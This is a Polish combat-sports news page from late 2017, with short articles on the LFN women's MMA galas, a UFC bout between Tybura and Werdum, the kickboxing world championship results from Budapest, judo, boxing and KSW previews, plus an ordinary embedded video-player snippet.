W walce wieczoru zobaczymy utalentowaną Cristinę Stanciu (Rumunia) – dwukrotnie prezentowała się na UFC vs Magdalena Sormova (Czechy) po raz drugi zaprezentuje się na gali LFN. W Karpaczu czyli, dokładnie rok temu, wyeliminowała Weronikę Zygmunt.

Rymarzak vs Waliczek  na LFN 8 – 16 grudnia 2017 r. (sobota)

Niesamowite spotkanie dwóch doświadczonych wojowniczek, Judyta Rymarzak (Gladiator Siedlce) vs Marta Waliczek (DAAS Berserker's Team Bielsko – Biała). W sobotni wieczór będziemy świadkami pojedynku jedynego w swoim rodzaju, utytułowane zawodniczki w kick-boxingu, po raz pierwszy zaprezentują swoje umiejętności w formule MMA. Która z nich zwycięży?

Podczas “Double Trouble” barwy LFN, również po raz pierwszy reprezentować będą takie zawodniczki jak Basia Nalepka, Izabella Badurek oraz Magdalena Rak.

Rejestracja wejściówek

Pragniemy poinformować, iż wejściówki na nasze gale można uzyskać poprzez rejestrację na naszej odświeżonej stronie: www.lfn.com.pl. Ilość miejsc ograniczona.

Transmisja gal

Gale Ladies Fight Night “Double Trouble” LFN 7 i LFN 8 podobnie jak wszystkie poprzednie będą transmitowane bezpłatnie. Dostęp na naszej stronie Facebook oraz www.lfn.com.pl.

ZAPOWIEDŹ: LFN 7 i 8 – Ladies Fight Night – Double Trouble

Za miesiąc, 15 i 16 grudnia 2017, w łódzkim Klubie Wytwórnia, odbędzie się kolejna gala, jedynej w Europie kobiecej organizacji sztuk walki MMA i K1 Ladies Fight Night. Dwa dni niezapomnianych emocji, potęgowanych podwójną dawką sportowych wrażeń. Nazwa nie jest przypadkowa, grudniowy event łączy ze sobą dwie gale, podczas których zaprezentuje się czołówka polskich jak również najlepszych zawodniczek z Europy (między innymi z Francji, Szwecji, Włoch, Czech i Rumunii) głównie w formule MMA.

[kod]

Polak przegrał z legendą MMA

Marcin Tybura zanotował drugą porażkę w UFC. W Acer Arena w Sydney 32-letni Polak przegrał z Fabricio Werdumem. Udany debiut w najlepszej organizacji MMA na świecie zaliczył Adam Wieczorek.

Na gali UFC Fight Night 121 Tybura stanął przed trudnym zadaniem. Byłemu mistrzowi M-1 Global wagi ciężkiej przyszło zmierzyć się z legendą MMA. Swojej postawy w starciu z Werdumem, Polak wstydzić się nie musi.

Mordercze tempo

Tyburę i Werduma dzieli osiem lat. Zatem Brazylijczyk ma już 40 wiosen, ale formy może mu pozazdrościć niejeden młokos. Były mistrz wagi ciężkiej UFC pokazał, że nadal należy do ścisłej światowej czołówki. Z kolei dla Polaka starcie z utytułowanym Brazylijczykiem było ogromną szansą. Tybura mógł znaleźć się w gronie tych, którzy śmiało mogliby myśleć o walce o pas. W końcu w czerwcu pokonał nie byle kogo, bo byłego mistrza wagi ciężkiej Andreja Arlovskiego. W Sydney Tybura miał przejść kolejny test.

Od początku Werdum nie oszczędzał Polaka. Kolejne kopnięcia, sporo ciosów na korpus, jednak 32-latek starał się bronić i odpierać ataki rywala. Jak wiadomo – najlepszą obroną jest atak i zgodnie z tą zasadą postępował Brazylijczyk, co mogło nieco deprymować Polaka. 40-latek starał się kontrolować starcie, szukał również możliwości sprowadzenia rywalizacji do parteru. Tybura próbował i trafiał pojedynczymi ciosami. Po trzech rundach u Werduma widać było wyraźnie zwolnienie, jednak także Polak złapał zadyszkę. 

W czwartej rundzie były mistrz UFC w końcu sprowadził walkę do parteru, ale Tybura wstał i przeprowadził atak. Najwięcej emocji dostarczyła ostatnia odsłona. Wysokie kopnięcie Polaka dotarło do celu, głowa Werduma została naruszona, ale ten okazał się twardy. Tybura spróbował jeszcze raz, ale przebieg całej walki jednoznacznie wskazywał na to, kto będzie cieszył się ze zwycięstwa. Sędziowie wskazali na Werduma. Tylko jeden dał zwycięską rundę Polakowi – 50:45, 50:45, 49:46.

Dla Marcina Tybura była to trzecia porażka w karierze, a druga w UFC. Ostatnio Polak miał dobrą passę – wygrał trzy starcia. Kolejno triumfował w pojedynkach z Viktorem Pestą, Luisem Henrique Barbosą de Oliveirą oraz wspomnianym Arlovskim.

Udany debiut

Adam Wieczorek miał zadebiutować w UFC przed własną publicznością na gali w Gdańsku. Jednak tak się nie stało ze względów… bezpieczeństwa. Walkę z Anthony'm Hamiltonem przełożono.

Na przestrzeni trzech rund Polak wypunktował 37-letniego Amerykanina, który zantował czwartą porażkę z rzędu. Wieczorek, który swego czasu przegrał z Marcinem Tyburą wygrał dziewiąty pojedynek w karierze.

KM

Kobiece starcie na szczycie

Zapowiada się niezwykle smakowita walka w kobiecym MMA. 30 grudnia na gali UFC 219 w T-Mobile Arenie w Las Vegas Cristiane Justino zmierzy się z Holly Holm. 32-letnia Brazylijka będzie broniła pas wagi piórkowej.

W zimowy wieczór fani sportów walki potrzebują wielkich wrażeń. Przed świętami Bożego Narodzenia odbędzie się gala KSW 41, podczas której zaprezentują się m.in. Borys Mańkowski, Artur Sowiński, Damian Janikowski, Marcin Wrzosek czy Popek. Z kolei 30 grudnia wielkie wydarzenie w Las Vegas. Karta walk gali UFC 219 praktycznie pełna. Głównym wydarzeniem wieczoru pojedynek Cristiane Justino z Holly Holm.

Pierwsza obrona

O starciu Brazylijki z Amerykanką mówiło się od dłuższego czasu, ale w cały proces wdał się element finansowy. Mistrzyni wagi piórkowej nie była zadowolna z propozycji, którą przedstawiała jej organizacja UFC. Nie da się ukryć, że Justino jest pierwszoplanową postacią kobiecego MMA i chciała otrzymywać godziwe wynagrodzenie. W końcu droga do starcia mistrzyni z Holly Holm znalazła szczęśliwy finał.

W Las Vegas „Cyborg” po raz pierwszy będzie broniła pasa wagi piórkowej, która wywalczyła w licpu pokonując Tonyę Evinger. Była mistrzyni organizacji Invicta w kategorii koguciej została znokautowana przez Brazylijkę w trzeciej rundzie. Co ciekawe, pas wagi piórkowej pojawił się na szali, gdyż Germaine de Randamie obawiała się rywalizacji z Justino. W związku z tym UFC odebrała jej tytuł mistrzowski. Starcie z Holm będzie dla Brazylijki czwartym występem w UFC. Wszystkie trzy pojedynki Justino wygrała przed czasem.

36-letnia Holm do starcia z mistrzynią UFC nie będzie przystępowała w roli faworytki. Tak jak dwa lata temu do pojedynku z posiadaczką pasa w kategorii koguciej Rondą Rousey. Wtedy Holm zadziwiła świat i wysokim kopnięciem w drugiej rundzie powaliła „Rowdy” na deski. Nastały wielkie dni dla Amerykanki, jednak później nad jej głową zebrały się czarne chmury. Holm straciła pas w starciu z Mieshą Tate, przegrała dwie kolejne walki i jej sytuacja skomplikowała się. Wygrana w czerwcu z Beathe Correią pozwoliła jej złapać oddech. Teraz po raz kolejny Holm ma szansę ponownie wejść na szczyt. W starciach o stawkę potrafi się wspiąć się na wyżyny. Czy podobnie będzie tym razem?

Esparza zbliży się do walki o pas?

W Las Vegas zaprezentuje się Carla Esparza, z którą w marcu 2015 roku Joanna Jędrzejczyk walczyła o pas wagi słomkowej. Wygrała Polka, ale Amerykanka liczy, że jeszcze dane będzie jej walczyć o tytuł. W tym roku stoczyła dwie walki. Przegrała z Randą Markos i pokonała Marynę Moroz. Teraz przyjdzie jej rywalizować z Cynthią Calvillo, która dotychczas wygrała wszystkie trzy walki w UFC.

Po roku do rywalizacji wraca Khabib Nurmagomedov. W ostatnim starciu (UFC 205) Rosjanin pokonał przed czasem Michaela Johnsona. W Las Vegas niepokonany 29-latek zmierzy się z Edsonem Barbozą. Na UFC 219 zaprezentują się m.in. Jimmie Rivera, Carlos Condit czy Kamaru Usman.

KM

UWAGA: Konkurs na trenerów kadry narodowej PZKB

Zarząd Polskiego Związku Kickboxingu ogłasza konkurs na stanowiska Trenerów Kadr Narodowych PZKB we wszystkich formułach walki w kategoriach wiekowych: kadet, junior, senior

Dotychczasowi Trenerzy Kadr w przypadku chęci kontynuowania pracy z nowym Zarządem PZKB składają następujące dokumenty:

1.Opis pracy szkoleniowej w kadrze z ostatnich dwóch lat. 
2.Propozycje nowych rozwiązań szkoleniowych nakolejne lata.
3.Posiadane kwalifikacje oraz wykształcenie.

Nowe osoby przystępujące do konkursu składają następujące dokumenty:

1.Opis dotychczasowej pracy szkoleniowej w klubach zrzeszonych w PZKB 
2.Osiągnięcia swoich zawodników z ostatnich dwóch lat. 
3.C.V. sportowe w tym posiadane kwalifikacje oraz wykształcenie.

Oferty wraz z dokumentacją należy przesłać do 30.11.2017r. 
Wersję elektroniczną w/w dokumentów należy przesłać na adres: biuro@pzkickboxing.pl

Zmarł Rafael Garcia

Świat boksu pogrążył się w smutku po śmierci Rafaela Garcii. Meksykanin zmarł w wieku 88 lat.

Ta twarz na zawsze utkwi fanom boksu w pamięci. Każdy, kto uważnie śledził pojedynki czołowych amerykańskich pięściarzy nie mógł nie zauważyć Rafaela Garcii (na zdjęciu w lewo). Niejeden mistrz z pewnością przyzna, że nigdy nie pracował z lepszym cutmanem. Pełny profesjonalista, zawsze z największym zaangażowaniem troszczący się o zawodników w przerwach między rundami.

Rafael Garcia praktycznie przez całe życie związany był z boksem. Przez ponad sześć dekand pracował z 35 mistrzami świata. W tym gronie byli m.in. Roberto Duran, Alexis Arguello, Chad Dawson czy Floyd Mayweather Jr.

W ostatnich latach Meksykanin współpracował z popularnym „Moneyem”, który zakończył karierę w 2015 roku z pasami WBC i WBA wagi półśredniej, ale jeszcze wrócił na walkę z Conorem McGregorem. Amerykanin był gwiazdą boksu, a tacy ludzie potrzebują fachowego sztabu. Dlatego też Mayweather postawił na współpracę z Rafaelem Garcią. – Ręce mi dokuczały, ale znalazłem najlepszego eksperta. Nie pozwolę, aby ktokolwiek inny dotknął moich dłoni – mówił swego czasu Mayweather Jr. 

Również Garcia nie miał wątpliwości, że współpracuje z prawdziwym mistrzem. – To są bardzo ważne ręce. W nich są miliony dolarów. Muszę o nie dbać – podkreślał cutman.

Od 2014 roku Rafael Garcia ograniczał swoją aktywność. Zmarł w wieku 88 lat. Świat boksu będzie pamiętał o tym wybitnym fachowcu.

Fot. Floyd Mayweather Jr. Facebook

KM

Trójka na medal

Młodzieżowe mistrzostwa Europy w judo w Podgoricy zakończone. Polacy wywalczyli trzy medale, najlepsi Rosjanie – dwanaście krążków.

Dzielnie walczyli i ich wysiłki przyniosły efekt. Beata Pacut (78kg), Rafał Kozłowski i Piotr Kuczera (90kg) stanęli na podium.

Trójka muszkieterów

Beata Pacut potwierdziła, że w tym roku znajduje się w bardzo dobrej dyspozycji. Judoczka Czarnych Bytom była m.in. o krok od triumfu w zawodach Grand Prix w Taszkiencie. W Podgoricy poprawiła wynik z ubiegłorocznych młodzieżowych mistrzostw Europy, gdzie była siódma. Tegoroczne zmagania Pacut rozpoczęła od pokonania Giorgii Stbagherlin. Co warto dodać, w 2016 roku Wloszka wywalczyła trzecie miejsce w Tel Awiwie. Polka wzięła rewanż na rywalce, która wyeliminowała ją w ćwierćfinale zmagań podczas Pucharu Europy w Bukareszcie. Następnie Polka pokonała Urskę Torkar, ale w półfinale potknęła się na Marii Annie Wagner. W starciu o brąz Pacut triumfowała w potyczce z Niurguianą Nikiforovą, dla której piąte miejsce było najlepszym wynikiem na mistrzowskiej imprezie.

Fantastycznie spisali się Polacy występujący w kategorii 90kg. Piotr Kuczera po raz trzeci stanął na najniższym stopniu mistrzowskiej imprezy. Wcześniej zdobył brąz mistrzostw Europy juniorów i mistrzostw Europy seniorów. W Podgoricy Polak w półfinale musiał uznać wyższość Yahor Varapayeu. Białorusin rok temu sięgnął po srebro mistrzostw Europy U23, teraz ponownie powtórzył ten wynik. Z kolei Kuczera w starciu o brąz pokonał 18-letniego Bośniaka Toniego Mileticia.

Formą błysnął Rafał Kozłowski. Siódmy zawodnik mistrzostw świata juniorów z 2015 roku w Podgoricy wygrał dwie walki, w tym pokonał wspomnianego już Mileticia. W półfinale Polak trafił na niezwykle wymagającego rywala. Mikhail Igolnikov to mistrz Europy juniorów z 2016 roku, w tym roku był drugi w Grand Prix w Tbilisi. Kozłowski wytrzymał blisko 2,5 minuty. W starciu o brąz pokazał charakter i pokonał Gruzina Nodariego Berianiego.

O krok od podium była Anita Formela (+78kg). Polka zaczęła od dwóch zwycięstw, ale potem musiała uznać wyższość Vasiliny Kyrychenko oraz Sebile Akbulut i skończyła rywalizację na piątej pozycji.

Łącznie w Podgoricy wystartowało dziesięcioro Polaków.

Triumf Rosjan

Bezkonkurencyjni okazali się Rosjanie, którzy zdobyli dwanaście medali – po cztery każdego koloru. Na najwyższym stopniu podium stawali: Gamzat Zairbekov (60kg), Saian Ondar (73kg), Mikhail Igolnikov (90kg) oraz Tamerian Bashaev (+100kg). Za ich plecami Białorusini z dorobkiem pięciu krążków (dwa złote). Trzeci w klasyfikacji medalowej byli Holendrzy (trzy krążki).

W zawodach wystartowało 301 judoczek i judoków.

Fot. EJU

KM

Mistrzostwa Świata w Budapeszcie: 12 złotych medali dla Biało-Czerwonych

Aż 12 złotych medali wywalczyli reprezentanci Polski w zakończonych dzisiaj Mistrzostwach Świata w Budapeszcie. Biało-Czerwoni wracają do kraju z 31 medalami, w tym również 4 srebrnymi i 15 brązowymi. To był znakomity występ polskiej drużyny narodowej w kickboxingu.

Polacy zdobyli 10 medali w K-1 Rules (2-2-6), 7 w kick light (4-1-2), 6 w full contact (2-0-4), 4 w low kick (2-0-2) i 4 w light contact (2-1-1). Nasi reprezentanci po raz kolejny potwierdzili, że należą do najlepszych na świecie. Prezes Związku Piotr Siegoczyński, wszyscy szkoleniowcy kadry i klubowi oraz przede wszystkim kibice kickboxingu mają powody do radości.

Walki finałowe podzielone zostały na 2 dni. Wczoraj po 2 tytuły sięgnęła, podobnie jak przed 2 laty, Paulina Jarzmik (-60kg). Zwyciężyła w formułach kick light i light contact. 

-To był mój 2 występ w MŚ w seniorach, a celem była obrona tytułów – mówiła Paulina Jarzmik, 4-krotna już Mistrzyni Świata, który reprezentowała KS X Fight Piaseczno.

Tytuły mistrzowskie obronili także Iwona Nieroda (-56kg) w low kick i Piotr Wypchał w kick light, chociaż zmienił kategorię na -89kg. W jego dotychczasowej wadze -94kg bezkonkurencyjny był Michał Grzesiak.

-To była moja najlepsza walka w turnieju, czułam, że to jest mój dzień i jestem teraz strasznie zadowolona. A jeśli chodzi o najtrudniejszy pojedynek, był nim ten pierwszy, z Serbką – powiedziała Iwona Nieroda po finale z Rosjanką Hiianovą.

29-letni Michał Grzesiak, prowadzący Klub Samoobrony Respekt Ostrów Wielkopolski, przyznał, że o jego sukcesie przesądziła baczna obserwacja wcześniejszych występów Chorwata Miskovicia.

-Miał on ciężki ciężki półfinał, w którym przyjął kilka mocnych kopnięć na udo. Postanowiłem wykorzystać tę sytuację i zacząłem od mocnych kopnięć na udo, co bardzo szybko stało się dobrą drogą do zwycięstwa – dodał kickboxer, który współpracuje z Tomaszem Sroką z Center Team Odolanów.

Złoto do Krakowa przywiezie 37-letni Piotr Wypchał. – W drodze po tytuł pokonałem rywali z Azerbejdżanu, Macedonii I Szwecji. W pierwszej poszło gładko, potem dopiero w końcówce 3 rundy przechylił szalę zwycięstwa w potyczce z wicemistrzem Europy. W półfinale miałem 2 razy na deskach Szweda, który był mega silny i zdeterminowany. W finale była wojna z Chorwatem – opowiadał.

Po mistrzostwo globu sięgnęli także inni Polacy. W wersji kick light, w której Biało-Czerwoni wygrali 4 konkurencje, zwyciężył także aktualny mistrz Europy Mateusz Niżejewski (-63kg). W light contact, poza Pauliną, triumfował Łukasz Wichowski (-84kg). W full contact Mazurek Dąbrowskiego został zagrany dla koleżanki klubowej Iwony Nierody z UKS Diament Pstrągowa Karoliny Dziedzic-Gruszowskiej (-70kg) i utytułowanej zawodniczki, wracającej po długiej przerwie mamy 3 dzieci Beaty Leśnik (+70kg), wcześniej znanej pod nazwiskiem panieńskim Małek.

-W kickboxingu ostatni raz byłem na ME chyba w 2006 roku. W tamtym okresie zdobywałam też medale MŚ i złoto ME w boksie. Teraz staram się trenować dla siebie, najważniejsza jest rodzina, ale pojawiła się szansa startu na MŚ, więc spróbowałam. I po 3 ciężkich walkach mam złoto – stwierdziła zawodniczka z Nowego Sącza.

Z kolei Karolina niedawno wyszła za mąż i teraz walczy pod nazwiskiem Dziedzic-Gruszowska. – W debiucie w MŚ miałam brąz, a teraz interesowało mnie tylko złoto. Mąż bardzo mnie wspiera w tym co robię, jest moim największym fanem.

Ale to nie było koniec emocji na Węgrzech. W sobotę Polacy wystąpili jeszcze w 4 finałach. Adam Gielata (-71kg) sprawił sobie niespodziankę na 21 urodziny i pokonał Bułgara Shumarova. Złoto w K-1 wywalczył też Maksymilian Bratkowicz (-86kg), po zwycięstwie z Brazylijczykiem Codrovilem. W finale low kick Karolina Kubiak (-48kg) wygrała z Rosjanką Sultanovą. Srebrem w K-1 musiał zadowolić się Michał Królik (-60kg) po porażce z Rosjaninem Nadrovem.

-Oczywiście, że liczył się tylko złoty medal. A to zasługa takich ludzi jak Dawid Kasperski, który od pierwszych moich juniorskich MP wpoił mi najsilniejszą psychikę na świecie. Tak samo z moimi trenerami mistrzami w swoim fachu Januszem Janowskim i Kacprem Mielnikiem – powiedział Adam Gielata, Mistrz Europy Juniorów z 2015 r.

W K-1 Rules trenerzy Tomasz Skrzypek, Tomasz Mamulski mieli najmłodszą kadrę, 10 debiutantów, a tymczasem ekipa spisała się na piątkę. – W dzisiejszych finałach zwycięzcy dobrze realizowali założenia taktyczne. Gielata miał wyprzedzać Bułgara, który bez techniki wpychał się w półdystans i nie wchodzić z nim w wymiany. Bratkowicz miał czekać na słabego w ataku Brazylijczyka, przepuszczać, kontrować i ponawiać atak. Królik trafił na znanego sobie przeciwnika, z którym 3 razy przegrał. Dzisiaj był najbliżej zwycięstwa. Trochę za późno podejmował decyzję o ataku i dawał się zaskakiwać seriami ciosów – ocenił Tomasz Skrzypek.

W Budapeszczie rywalizowano we wszystkich formułach. Do ćwierćfinału w pointfightingu (trener Bartosz Baczyński) doszedł jedyny Polak w tej formule Tomasz Kurzeja (-74kg). W sumie startowało ponad 1200 zawodniczek i zawodników z 60 krajów.

Wczoraj srebrne krążki zdobyli Dorota Godzina (-55kg/kick light) w swym ostatnim występie w kickboxingu oraz Michał Bławdziewicz (+91kg) w K-1 Rules. W finale przegrała też walcząca w konkurencji weteranek Marta Kichner-Rządkowska (-65kg) w light contact.

Dla Doroty Godziny był to 6 medal MŚ. Wywalczyła 3 złote, 2 srebrne, a do kolekcji dołożyła srebro, choć w opinii obserwatorów zasłużyła na wygraną.

-W 3 rundzie miałam cały czas lekką przewagę punktową i Węgierka zaczęła się wywracać po akcjach, symulować za mocne techniki. Na 20 sek przed końcem dostałam minus punkt za rzekomy brak kroku w tył po komendzie "break”, co zmieniło werdykt na korzyść rywalki. Chciałam odrabiać punkty, ale ona cały czas się przewracała, więc puściły mi emocje i krzyknęłam, żeby walczyła. Dostałam kolejny minus punkt. Ja więcej atakowałam, trafiałam czystymi technikami, a ona przewracała się, wszystko ją bolało i mimo to i tak wygrała – relacjonowała Dorota Godzina.

Lista brązowych polskich medalistów MŚ 2017: K-1 – Ewa Boś (-48kg), Ewa Pietrzykowska (-56kg), Róża Gumienna (-65kg), Wojciech Kazieczko (-67kg), Bartosz Dołbień (-81kg), Mateusz Pluta (-91kg), kick light – Patryk Kuryłek (-57kg), Łukasz Puczyński (-79kg), full contact – Karolina Mośko (-48kg), Pola Rogala (-65kg), Jakub Pokusa (-71kg), Filip Karbownik (-81kg), low kick – Kamil Rościński (-67kg), Łukasz Kaczmarczyk (-71kg), light contact – Leszek Jobs (-94kg).

-To był mój 2 drugi start w MŚ w kickboxingu. Za pierwszym razem zabrakło zimnej głowy i wyrachowania, skończyło sie na ćwierćfinale. Tym razem chciałem sięgnąć po złoto – mówił Jakub Pokusa.

Na koniec podsumowanie przez trenera low kick Andrzeja Garbaczewskiego: – Cieszymy się z 4 medali w bardzo trudnej konkurencji, w poszczególnych kategoriach było dużo zawodników, nawet Karolina w najlżejszej wadze stoczyła 3 wygrane walki, by móc radować się ze złota. Poziom walk w formule low kick jest bardzo wysoki, widać mocne przygotowania kondycyjne i małe różnice między walczącymi. Ale w dalszym ciągu są faworyzowani zawodnicy z Włoch i Rosji oraz Serbii. Niesprawiedliwy werdykt był w pojedynku Kamila Ruty, ale niestety sędzia z Azerbejdżanu sędziował dla Turka. Liczyliśmy na medal Kamila.

Wyniki finałów MŚ Seniorów

Light contact trenerzy Leszek Jobs, Henryk Piwowar

-60 kg Paulina Jarzmik (Polska) – Luna Mendy (Włochy) wygr. Jarzmik

-84 kg Łukasz Wichowski (Polska) – Luca Padoan (Włochy) wygr. Wichowski
 

Kick light trenerzy Tomasz Biernacki, Patryk Zaborowski

-55kg Dorota Godzina (Polska) – Nelly Hanicz (Węgry) por. Godziny

-60kg Paulina Jarzmik (Polska) – Rita Nagy (Węgry) wygr. Jarzmik

-63kg Mateusz Niżejewski (Polska) – Enzo Bonio (Francja) wygr. Niżejewski

-89kg Piotr Wypchał (Polska) – Luka Żuljević (Chorwacja) wygr. Wypchał

-94kg Michał Grzesiak (Polska) – Boris Misković (Chorwacja) wygr. Grzesiak
 

Full contact trenerzy Radosław Laskowski, Wojciech Kierstein

-70kg Karolina Dziedzic-Gruszowska (Polska) – Birgit Reitan Oksnes (Norwegia) wygr. Dziedzic-Gruszowska

+70kg Beata Leśnik (Polska) – Anastasiia Khudiakova (Rosja) wygr. Leśnik
 

Low kick trenerzy Andrzej Garbaczewski, Witold Kostka

-48kg Karolina Kubiak (Polska) – Stefani Sultanova (Rosja) wygr. Kubiak

-56kg Iwona Iwona Nieroda (Polska) – Anastasiia Hiianova (Rosja) wygr. Nieroda
 

K-1 Rules trenerzy Tomasz Skrzypek, Tomasz Mamulski

-60kg Michał Królik (Polska) – Timur Nadrov (Rosja) por. Królik

-71kg Adam Gielata (Polska) – Bogdan Shumarov (Bułgaria) wygr. Gielata

-86kg Maksymilian Bratkowicz (Polska) – Fabio Alberto Cordovil (Brazylia) wygr. Bratkowicz

+91kg Michał Bławdziewicz (Polska) – Bahram Rajabzadeh (Azerbejdżan) por. Bławdziewicz

Źródło: www.PZKickboxing.pl

LIVE: Granda PRO 5 – Draka

Zapraszamy na transmisję telewizyjną z Gali Granda PRO 5 – Draka, która odbędzie się 18 listopada 2017 na warszawskim Torwarze w siedzibie klubu Legia Fight Club. Start transmisji od godz. 20.30.

[kod]

Granda PRO 5 – DRAKA

Granda PRO 5 – DRAKA

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Czy Wach otworzy sobie drzwi?

Trudne wyzwanie przed Mariuszem Wachem. Jeśli 11 listopada Polak pokona Jarrella Millera, otworzą się przed nim rozległe możliwości.

Kariera Mariusza Wacha to wzloty i upadki. 37-latek ma okazję, aby ponownie w świecie boksu zrobiło się o nim głośno. Kto wie, czy to już nie ostatnia szansa dla Polaka.

Poprzeczka wisi wysoko

Doświadczony bokser miał już okazję walczyć o stawkę w wadze ciężkiej. 11 listopada w Uniondale pod Nowym Jorkiem nie będzie rywalizował o żaden pas, jednak wygrana w starciu z Jarrelem Millerem może być dla Polaka trampoliną. Wydaje się, że to ostatni dzwonek dla Wacha, aby coś jeszcze ugrać w wadze ciężkiej. 

Doświadczenie może być atutem dla popularnego „Wikinga”, który jest mocny. Nie ugiął się przed Władimirem Kliczko. W 2012 roku przetrwał dwanaście rund, ale pasy IBF, WBA i WBO pozostały w posiadaniu Ukraińca. A po walce rozegrał się prawdziwy dramat. Okazało się, że Mariusz Wach był na dopingu. Skończyło się na ośmiomiesięcznej karze. Wach wrócił, wygrał cztery pojedynki i stanął w szranki z Aleksandrem Powietkinem. Stawką był srebrny pas mistrzowski WBC. Wach przegrał przez techniczny nokaut w dwunastej rundzie, a Rosjanie twierdzili, że rywalizował na… dopingu.

Wach udowodnił, że potrafi być do bólu skuteczny. Jego walki z Christianem Hammerem, Kevinem McBridem czy Jasonem Gavernem robiły wrażenie. Polak wygrywał przed czasem, co ostatnio mu się nie zdarza. W tym roku na pełnym dystansie pokonał Erkana Tepera. Najbliższy rywal 37-latka to zupełnie inna półka niż 35-letni reprezentant Niemiec. Choć warto przyznać, że Teper to solidny pięściarz i wygrana Polaka pokazuje tkwiący w nim potencjał. Jednak w najbliższej walce Wach musi wspiąć się na wyżyny. 29-letni Jarrel Miller wygrał dziewiętnaście walk, w tym siedemnaście przed czasem. Amerykanin uchodzi za faworyta w starciu z Wachem. Zwycięstwem ma utorować sobie drogę do rywalizacji z mistrzem WBA, IBF, IBO Anthonym Joshuą.

Będzie gwiazdą?

Dzisiejszy świat potrzebuje takich ludzi. Miller robi wokół siebie wiele szumu, co pomaga mu budować zainteresowanie walką. Otwarty na rozmowę, używa barwnego języka i dotychczas jest skuteczny. Eddie Hearn, promotor Anthony'ego Joshuy, wchodzi na amerykański rynek i chce poznać jego specyfikę. Wygląda na to, że rozgląda się za rywalem dla swojego podopiecznego i Miller idealnie pasuje do jego wyobrażeń.

29-letni Amerykanin zapowiada, że znokautuje Wacha. Granicą ma być ósma runda. Potężny Amerykanin przezwyczaił, że wygrywa przed czasem. Jeśli Wach przetrwa, może być różnie. Kondycja Millera nie musi być wcale idealna.

Fot. Mariusz Wach Boxing

KM

Zapaśnik ponownie wejdzie do klatki

Damian Janikowski stoczy swój drugi pojedynek w MMA. Brązowy medalista Igrzysk Olimpijskich w Londynie w zapasach zaprezentuje się na gali KSW 41 w katowickim Spodku.

Najlepsza polska organizacja MMA powoli uchyla rąbka tajemnicy. Wiemy, że 23 grudnia oprócz Janikowskiego w Katowicach wystąpią również m.in. Marcin Wrzosek, Borys Mańkowski i Artur Sowiński. Zapowiada się gorący zimowy wieczór!

Prawdziwy wojownik

O Janikowskim zrobiło się głośno, gdy zdobył brąz Igrzysk Olimpijskich w Londynie. Dla polskich zapasów pojawiła się nadzieja. Silny jak tur zawodnik miał stać się pierwszoplanową postacią dyscypliny. W 2014 roku sięgnął po brąz mistrzostw Europy w Vantaa, dwa lata wcześniej zdobył srebro w Belgardzie. Zdobył również wicemistrzostwo świata w Stambule w 2011 roku. Janikowski udowodnił, że ma ogromne możliwości. Jasne stało się, że kolejnym celem zapaśnika będzie uzyskanie kwalifikacji do igrzysk w Rio de Janeiro. W mistrzostwach świata w Las Vegas nie zdobył przepustki. Polak zajął siódme miejsce, a awansowała najlepsza szóstka. Turnieje w Zrenjaninie i Ułan Bator również nie potoczyły się po myśli Janikowskiego.

Zawodnik postanowił zakończyć pewien etap i spróbować sił w MMA. Rok temu Janikowski podpisał umowę z KSW. Na pierwszą walkę czekał sześć miesięcy, ale przyszło mu wystąpić przed wypełnioną po brzegi areną na gali KSW 39: Coloseum. Cały stadion PGE Narodowy czekał na walkę potężnie zbudowanego i niezwykle ruchliwego medalisty olimpijskiego z Londynu. Janikowski udowodnił, że może być czołowym fighterem wagi średniej. Polak efektownie uporał się z Julio Gerardo Gallegosem, którego pokonał w pierwszej rundzie. W klinczu rywal otrzymał kilka łokci, a później mocne kolano powaliło Amerykanina na deski.

23 grudnia Damian Janikowski po raz kolejny będzie miał okazję uwolnić swoją energię. Z kim się zmierzy? Na tę wiadomość trzeba poczekać.

Ciekawy rywal Mańkowskiego

Mistrz wagi półśredniej zmierzy się na KSW 41 z Dricusem Du Plessisem. 23-letni zawodnik z Republiki Południowej Afryki wygrał siedem kolejnych walk, po drodze pokonał m.in. Rafała Haratyka. Du Plessis może pochwalić się tytułem mistrzowskim organizacji Extreme Fighting Championship w limicie 170 funtów. W czerwcu poprawił swój dorobek o pas wyższej kategorii. Wszystkie dotychczasowe walki z udziałem 23-latka kończyły się przed czasem.

Z kolei Mańkowski stanie w Katowicach do czwartej obrony mistrzowskiego pasa. W swoim ostatnim występie przegrał z Mamedem Khalidovem w walce wieczoru na KSW 39, ale było to starcie dwóch zawodników z różnych kategorii wagowych, a na szali nie pojawił się żaden tytuł.

Ciekawie zapowiada się w starcie w kategorii piórkowej pomiędzy Marcinem Wrzoskiem a Romanem Szymańskim. W maju „Polski Zombie” stracił pas na rzecz Klebera Koike Erbsta. Z kolei Szymański na KSW 38 uporał się z Denilsonem Nevesem.

W Katowicach dojdzie do starcia o pas kategorii piórkowej. Artur Sowiński postara się odebrać tytuł Kleberowi Koike Erbstowi. Debiut w KSW zaliczy Tomasz Oświeciński, który zmierzy się z Pawłem Mikołajuwem.

Fot. Damian Janikowski Facebook

KM

Karolina Owczarz spróbuje sił w MMA

Dała się poznać jako obiecująca bokserka, jednak później zdecydowała się na… mikrofon. Teraz postanowiła go odłożyć i spróbować sił w MMA. O kim mowa? O Karolinie Owczarz.

Ze sportami walki związana od dziecka, jednak od kilku lat nie występowała w roli aktywnej zawodniczki. W końcu 24-latka postanowiła to zmienić. Karolina Owczarz zaprezentuje się w klatce, a nie jak wcześniej w ringu.

Utalentowana bokserka

Połowę swojego życia związana jest ze sportami walki. Karolina Owczarz przygodę z boksem rozpoczęła w wieku 12 lat i połknęła bakcyla. Kolejne treningi, wyzwania i chęć zwyciężania, a zarazem doskonalenia swoich umiejętności. W 2011 roku Owczarz sięgnęła po złoty medal mistrzostw Polski w boksie kobiet. Po tym sukcesie postanowiła ruszyć w świat. Owczarz wystąpiła w meksykańskim show „Reto de campeonas”, promującym talenty z całego świata.

